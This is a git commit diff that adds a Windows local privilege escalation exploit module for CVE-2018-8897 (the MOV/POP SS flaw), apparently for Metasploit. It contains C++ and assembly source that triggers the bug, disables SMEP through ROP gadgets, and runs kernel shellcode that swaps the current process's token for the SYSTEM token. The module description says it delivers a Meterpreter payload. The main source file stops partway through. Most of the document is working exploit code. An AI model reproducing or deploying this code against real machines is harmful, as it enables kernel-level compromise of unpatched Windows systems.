Land #10297, Add priv escalation mod for CVE-2018-8897
parent
942befab73
commit
06e8cc49f5
Binary file not shown.
|
@ -0,0 +1,10 @@
|
|||
# Description
|
||||
|
||||
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
|
||||
(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed
|
||||
by the final payload (such as a Meterpreter) in order to gain remote code execution.
|
||||
|
||||
# Vulnerable Target
|
||||
|
||||
Please note that this module may not work with certain hypervisors (such as VMWare). You should
|
||||
test it on a real machine if possible.
|
|
@ -0,0 +1,10 @@
|
|||
#pragma once
|
||||
|
||||
#define ERROR( msg ) \
|
||||
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
|
||||
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
|
||||
system( "pause" ); \
|
||||
exit( 0 );}
|
||||
|
||||
|
||||
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )
|
|
@ -0,0 +1,66 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <inttypes.h>
|
||||
#include <iostream>
|
||||
#include <vector>
|
||||
#include "NtDefines.h"
|
||||
|
||||
struct KernelContext
|
||||
{
|
||||
HMODULE NtLib;
|
||||
uint64_t NtBase;
|
||||
|
||||
template<typename T = fnFreeCall>
|
||||
T GetProcAddress( const char* Proc )
|
||||
{
|
||||
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
|
||||
|
||||
if ( !LocProc )
|
||||
return ( T ) ( nullptr );
|
||||
|
||||
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
|
||||
|
||||
return ( T ) ( this->NtBase + Delta );
|
||||
}
|
||||
};
|
||||
|
||||
static KernelContext* Kr_InitContext()
|
||||
{
|
||||
KernelContext* Kc = new KernelContext;
|
||||
|
||||
std::vector<BYTE> Buffer( 1024 * 1024 );
|
||||
|
||||
ULONG ReqSize = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
|
||||
break;
|
||||
|
||||
Buffer.resize( ReqSize * 2 );
|
||||
}
|
||||
while ( ReqSize > Buffer.size() );
|
||||
|
||||
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
|
||||
|
||||
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
|
||||
|
||||
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
|
||||
Kc->NtLib = LoadLibraryA( KernelFileName );
|
||||
|
||||
if ( !Kc->NtBase || !Kc->NtLib )
|
||||
{
|
||||
delete Kc;
|
||||
printf( "[+] Failed to get kernel module information!\n" );
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase );
|
||||
|
||||
return Kc;
|
||||
}
|
||||
|
||||
static void Kr_FreeContext( KernelContext* Ctx )
|
||||
{
|
||||
delete Ctx;
|
||||
}
|
|
@ -0,0 +1,29 @@
|
|||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2018, Can Bölük
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,88 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include "NtDefines.h"
|
||||
|
||||
#pragma section(".LDATA", read, write)
|
||||
#pragma section(".LTEXT", read, write, execute)
|
||||
|
||||
#pragma data_seg(".LDATA$1")
|
||||
#pragma data_seg(".LDATA$2")
|
||||
#pragma data_seg(".LDATA$3")
|
||||
#pragma data_seg()
|
||||
|
||||
#pragma code_seg(".LTEXT$1")
|
||||
#pragma code_seg(".LTEXT$2")
|
||||
#pragma code_seg(".LTEXT$3")
|
||||
#pragma code_seg()
|
||||
|
||||
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
|
||||
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
|
||||
|
||||
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
|
||||
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
|
||||
|
||||
|
||||
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
|
||||
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
|
||||
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
|
||||
|
||||
// Mini non-paged crt
|
||||
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
|
||||
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
|
||||
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
|
||||
|
||||
#pragma comment(linker,"/MERGE:.LDATA=.data")
|
||||
#pragma comment(linker,"/MERGE:.LTEXT=.text")
|
||||
|
||||
// Routines to lock the pages
|
||||
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
|
||||
{
|
||||
SIZE_T Min, Max;
|
||||
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
|
||||
return FALSE;
|
||||
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
|
||||
return FALSE;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL Np_TryLockPage( PVOID Page )
|
||||
{
|
||||
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
|
||||
return FALSE;
|
||||
if ( VirtualLock( Page, 0x1000 ) )
|
||||
return TRUE;
|
||||
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
|
||||
return FALSE;
|
||||
return VirtualLock( Page, 0x1000 );
|
||||
}
|
||||
|
||||
static BOOL Np_LockRange( PVOID From, PVOID To )
|
||||
{
|
||||
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
|
||||
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
|
||||
|
||||
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
|
||||
{
|
||||
if ( !Np_TryLockPage( Current ) )
|
||||
{
|
||||
printf( "[+] Failed locking %16llx!\n", Current );
|
||||
return FALSE;
|
||||
}
|
||||
else
|
||||
{
|
||||
printf( "[+] Locked %16llx successfully!\n", From );
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL Np_LockSections()
|
||||
{
|
||||
printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd );
|
||||
printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd );
|
||||
|
||||
return
|
||||
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
|
||||
Np_LockRange( &Np_TextStart, &Np_TextEnd );
|
||||
}
|
|
@ -0,0 +1,146 @@
|
|||
.code
|
||||
__swapgs PROC
|
||||
swapgs
|
||||
ret
|
||||
__swapgs ENDP
|
||||
|
||||
__rollback_isr PROC
|
||||
mov rdx, [rsp] ; rdx = Return pointer
|
||||
lea r8, [rsp+8h] ; r8 = Old stack
|
||||
mov [rcx], rdx ; isr stack.rip = Return pointer
|
||||
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
|
||||
mov rsp, rcx ; stack = isr stack
|
||||
iretq ; return
|
||||
__rollback_isr ENDP
|
||||
|
||||
__set_gs_base PROC
|
||||
wrgsbase rcx
|
||||
ret
|
||||
__set_gs_base ENDP
|
||||
|
||||
__readss PROC
|
||||
xor eax, eax
|
||||
mov ax, ss
|
||||
ret
|
||||
__readss ENDP
|
||||
|
||||
__read_gs_base PROC
|
||||
rdgsbase rax
|
||||
ret
|
||||
__read_gs_base ENDP
|
||||
|
||||
__triggervuln PROC
|
||||
mov [rcx+8*0], r12 ; save registers
|
||||
mov [rcx+8*1], r13
|
||||
mov [rcx+8*2], r14
|
||||
mov [rcx+8*3], r15
|
||||
mov [rcx+8*4], rdi
|
||||
mov [rcx+8*5], rsi
|
||||
mov [rcx+8*6], rbx
|
||||
mov [rcx+8*7], rbp
|
||||
mov [rcx+8*8], rsp
|
||||
pushfq
|
||||
pop [rcx+8*9]
|
||||
|
||||
mov ss, word ptr [rdx] ; Defer debug exception
|
||||
int 3 ; Execute with interrupts disabled
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
mov r12, [rcx+8*0] ; load registers
|
||||
mov r13, [rcx+8*1]
|
||||
mov r14, [rcx+8*2]
|
||||
mov r15, [rcx+8*3]
|
||||
mov rdi, [rcx+8*4]
|
||||
mov rsi, [rcx+8*5]
|
||||
mov rbx, [rcx+8*6]
|
||||
mov rbp, [rcx+8*7]
|
||||
mov rsp, [rcx+8*8]
|
||||
push [rcx+8*9]
|
||||
popfq
|
||||
ret
|
||||
__triggervuln ENDP
|
||||
|
||||
|
||||
__setxmm0 PROC
|
||||
movups xmm0, [rcx]
|
||||
ret
|
||||
__setxmm0 ENDP
|
||||
|
||||
__setxmm1 PROC
|
||||
movups xmm1, [rcx]
|
||||
ret
|
||||
__setxmm1 ENDP
|
||||
|
||||
__setxmm2 PROC
|
||||
movups xmm2, [rcx]
|
||||
ret
|
||||
__setxmm2 ENDP
|
||||
|
||||
__setxmm3 PROC
|
||||
movups xmm3, [rcx]
|
||||
ret
|
||||
__setxmm3 ENDP
|
||||
|
||||
__setxmm4 PROC
|
||||
movups xmm4, [rcx]
|
||||
ret
|
||||
__setxmm4 ENDP
|
||||
|
||||
__setxmm5 PROC
|
||||
movups xmm5, [rcx]
|
||||
ret
|
||||
__setxmm5 ENDP
|
||||
|
||||
__setxmm6 PROC
|
||||
movups xmm6, [rcx]
|
||||
ret
|
||||
__setxmm6 ENDP
|
||||
|
||||
__setxmm7 PROC
|
||||
movups xmm7, [rcx]
|
||||
ret
|
||||
__setxmm7 ENDP
|
||||
|
||||
__setxmm8 PROC
|
||||
movups xmm8, [rcx]
|
||||
ret
|
||||
__setxmm8 ENDP
|
||||
|
||||
__setxmm9 PROC
|
||||
movups xmm9, [rcx]
|
||||
ret
|
||||
__setxmm9 ENDP
|
||||
|
||||
__setxmm10 PROC
|
||||
movups xmm10, [rcx]
|
||||
ret
|
||||
__setxmm10 ENDP
|
||||
|
||||
__setxmm11 PROC
|
||||
movups xmm11, [rcx]
|
||||
ret
|
||||
__setxmm11 ENDP
|
||||
|
||||
__setxmm12 PROC
|
||||
movups xmm12, [rcx]
|
||||
ret
|
||||
__setxmm12 ENDP
|
||||
|
||||
__setxmm13 PROC
|
||||
movups xmm13, [rcx]
|
||||
ret
|
||||
__setxmm13 ENDP
|
||||
|
||||
__setxmm14 PROC
|
||||
movups xmm14, [rcx]
|
||||
ret
|
||||
__setxmm14 ENDP
|
||||
|
||||
__setxmm15 PROC
|
||||
movups xmm15, [rcx]
|
||||
ret
|
||||
__setxmm15 ENDP
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
extern "C"
|
||||
{
|
||||
void __setxmm0( BYTE* );
|
||||
void __setxmm1( BYTE* );
|
||||
void __setxmm2( BYTE* );
|
||||
void __setxmm3( BYTE* );
|
||||
void __setxmm4( BYTE* );
|
||||
void __setxmm5( BYTE* );
|
||||
void __setxmm6( BYTE* );
|
||||
void __setxmm7( BYTE* );
|
||||
void __setxmm8( BYTE* );
|
||||
void __setxmm9( BYTE* );
|
||||
void __setxmm10( BYTE* );
|
||||
void __setxmm11( BYTE* );
|
||||
void __setxmm12( BYTE* );
|
||||
void __setxmm13( BYTE* );
|
||||
void __setxmm14( BYTE* );
|
||||
void __setxmm15( BYTE* );
|
||||
|
||||
void __swapgs();
|
||||
uint16_t __readss();
|
||||
PVOID __read_gs_base();
|
||||
void __set_gs_base( PVOID GsBase );
|
||||
void __rollback_isr( uint64_t IsrStack );
|
||||
void __triggervuln( PVOID RegSave, PVOID Abc );
|
||||
};
|
|
@ -0,0 +1,72 @@
|
|||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
#pragma pack(push, 8)
|
||||
typedef struct _SYSTEM_MODULE_ENTRY
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[ 256 ];
|
||||
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_ENTRY Module[ 0 ];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||
{
|
||||
struct
|
||||
{
|
||||
ULONG KvaShadowEnabled : 1;
|
||||
ULONG KvaShadowUserGlobal : 1;
|
||||
ULONG KvaShadowPcid : 1;
|
||||
ULONG KvaShadowInvpcid : 1;
|
||||
ULONG Reserved : 28;
|
||||
} KvaShadowFlags;
|
||||
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||
|
||||
typedef UNICODE_STRING *PUNICODE_STRING;
|
||||
#pragma pack(pop)
|
||||
|
||||
#define NtCurrentProcess() ( HANDLE(-1) )
|
||||
#define SeLoadDriverPrivilege 10ull
|
||||
#define SystemModuleInformation 0xBull
|
||||
#define SystemKernelVaShadowInformation 196ull
|
||||
#define AdjustCurrentProcess 0ull
|
||||
#define STATUS_SUCCESS 0
|
||||
|
||||
using fnFreeCall = uint64_t( __fastcall* )( ... );
|
||||
|
||||
template<typename ...Params>
|
||||
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
|
||||
{
|
||||
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
|
||||
return fn( std::forward<Params>( params ) ... );
|
||||
}
|
||||
|
||||
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
|
||||
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
|
||||
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
|
||||
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
|
||||
|
||||
static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc )
|
||||
{
|
||||
BOOLEAN Enabled = 0;
|
||||
return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled;
|
||||
}
|
|
@ -0,0 +1,12 @@
|
|||
# CVE-2018-8897
|
||||
Demo exploitation of the POP SS vulnerability (CVE-2018-8897), leading to unsigned code execution with kernel privilages.
|
||||
- KVA Shadowing should be disabled and [the relevant security update](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897) should be uninstalled.
|
||||
- This may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3.
|
||||
|
||||
## Detailed explanation:
|
||||
|
||||
https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/
|
||||
|
||||
## Result:
|
||||
![](https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png)
|
||||
![](https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png)
|
|
@ -0,0 +1,387 @@
|
|||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <intrin.h>
|
||||
#include "KernelRoutines.h"
|
||||
#include "LockedMemory.h"
|
||||
#include "Native.h"
|
||||
#include "Error.h"
|
||||
|
||||
struct ISR_STACK
|
||||
{
|
||||
uint64_t RIP;
|
||||
uint64_t CS;
|
||||
uint64_t EF;
|
||||
uint64_t RSP;
|
||||
};
|
||||
|
||||
// Doensn't really change
|
||||
static const uint32_t Offset_Pcr__Self = 0x18;
|
||||
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
|
||||
static const uint32_t Offset_Pcr__Prcb = 0x180;
|
||||
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
|
||||
static const uint32_t Offset_Context__XMM13 = 0x270;
|
||||
static const uint32_t MxCsr__DefVal = 0x1F80;
|
||||
static const uint32_t Offset_Prcb__RspBase = 0x28;
|
||||
static const uint32_t Offset_KThread__InitialStack = 0x28;
|
||||
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
|
||||
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
|
||||
|
||||
// Requires patterns
|
||||
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
|
||||
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
|
||||
|
||||
NON_PAGED_DATA uint64_t ContextBackup[ 10 ];
|
||||
|
||||
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
|
||||
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
|
||||
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
|
||||
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
|
||||
|
||||
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
|
||||
|
||||
using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
|
||||
NON_PAGED_DATA BYTE IRetToVulnStub[] =
|
||||
{
|
||||
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
|
||||
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
|
||||
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
|
||||
0xFB, // sti ; enable interrupts
|
||||
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
|
||||
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
|
||||
0x48, 0xCF // iretq ; interrupt return
|
||||
};
|
||||
|
||||
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
|
||||
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
|
||||
|
||||
NON_PAGED_CODE void KernelShellcode()
|
||||
{
|
||||
__writedr( 7, 0 );
|
||||
|
||||
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
|
||||
__writecr4( Cr4Old & ~( 1 << 20 ) );
|
||||
|
||||
__swapgs();
|
||||
|
||||
// Uncomment if it bugchecks to debug:
|
||||
// __writedr( 2, StackDelta );
|
||||
// __writedr( 3, PredictedNextRsp );
|
||||
// __debugbreak();
|
||||
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
|
||||
|
||||
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
|
||||
|
||||
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
|
||||
while (
|
||||
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
|
||||
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
|
||||
{
|
||||
|
||||
__rollback_isr( IsrStackIterator );
|
||||
|
||||
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
|
||||
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
|
||||
{
|
||||
/*
|
||||
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
|
||||
fffff00e`d7a1bc40 0000000000000010
|
||||
fffff00e`d7a1bc48 0000000000000002
|
||||
fffff00e`d7a1bc50 fffff00ed7a1bc68
|
||||
fffff00e`d7a1bc58 0000000000000000
|
||||
fffff00e`d7a1bc60 0000000000000014
|
||||
fffff00e`d7a1bc68 00007ff7e2261e95 --
|
||||
fffff00e`d7a1bc70 0000000000000033
|
||||
fffff00e`d7a1bc78 0000000000000202
|
||||
fffff00e`d7a1bc80 000000ad39b6f938
|
||||
*/
|
||||
IsrStackIterator = IsrStackIterator + 0x30;
|
||||
break;
|
||||
}
|
||||
|
||||
IsrStackIterator -= StackDelta;
|
||||
}
|
||||
|
||||
|
||||
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
|
||||
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
|
||||
|
||||
// ------ KERNEL CODE ------
|
||||
|
||||
uint64_t SystemProcess = *k_PsInitialSystemProcess;
|
||||
uint64_t CurrentProcess = k_PsGetCurrentProcess();
|
||||
|
||||
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
|
||||
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
|
||||
|
||||
for ( int i = 0; i < 0x500; i += 0x8 )
|
||||
{
|
||||
uint64_t Member = *( uint64_t * ) ( CurrentProcess + i );
|
||||
|
||||
if ( ( Member & ~0xF ) == CurrentToken )
|
||||
{
|
||||
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
k_PsDereferencePrimaryToken( CurrentToken );
|
||||
k_PsDereferencePrimaryToken( SystemToken );
|
||||
|
||||
// ------ KERNEL CODE ------
|
||||
|
||||
__swapgs();
|
||||
|
||||
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
|
||||
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
|
||||
}
|
||||
|
||||
PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz )
|
||||
{
|
||||
PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
|
||||
ZeroMemory( Va, Sz );
|
||||
for ( int i = 0; i < Sz; i += 0x1000 )
|
||||
Np_TryLockPage( Va + i );
|
||||
return Va;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc < 2){
|
||||
return 0;
|
||||
}
|
||||
// Pre-init checks: KVA Shadow
|
||||
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
|
||||
if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) )
|
||||
assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled );
|
||||
|
||||
// Initialization: Memory allocation, locking sections, loading nt
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
|
||||
|
||||
assert( Np_LockSections() );
|
||||
assert( Np_TryLockPage( &__rollback_isr ) );
|
||||
assert( Np_TryLockPage( &__swapgs ) );
|
||||
|
||||
KernelContext* KrCtx = Kr_InitContext();
|
||||
assert( KrCtx );
|
||||
|
||||
static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 );
|
||||
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
|
||||
|
||||
|
||||
// Offsets: Finding offsets and ROP gadgets
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB );
|
||||
|
||||
PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib;
|
||||
PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew );
|
||||
PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader );
|
||||
while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++;
|
||||
|
||||
uint64_t AdrRetn = 0;
|
||||
uint64_t AdrPopRcxRetn = 0;
|
||||
uint64_t AdrSetCr4Retn = 0;
|
||||
|
||||
PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress;
|
||||
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
|
||||
|
||||
// Find [RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0xC3 )
|
||||
{
|
||||
AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Find [POP RCX; RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 )
|
||||
{
|
||||
AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Find [MOV CR4, RCX; RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 &&
|
||||
It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 )
|
||||
{
|
||||
AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn );
|
||||
printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn );
|
||||
printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn );
|
||||
|
||||
assert( AdrRetn );
|
||||
assert( AdrPopRcxRetn );
|
||||
assert( AdrSetCr4Retn );
|
||||
|
||||
PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" );
|
||||
PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" );
|
||||
|
||||
for ( int i = 0; i < 0x50; i++ )
|
||||
{
|
||||
if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax,
|
||||
UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call
|
||||
{
|
||||
Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for ( int i = 0; i < 0x50; i++ )
|
||||
{
|
||||
if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax,
|
||||
UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn
|
||||
{
|
||||
Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context );
|
||||
printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process );
|
||||
|
||||
assert( Offset_Prcb__Context );
|
||||
assert( Offset_KThread__ApcStateFill__Process );
|
||||
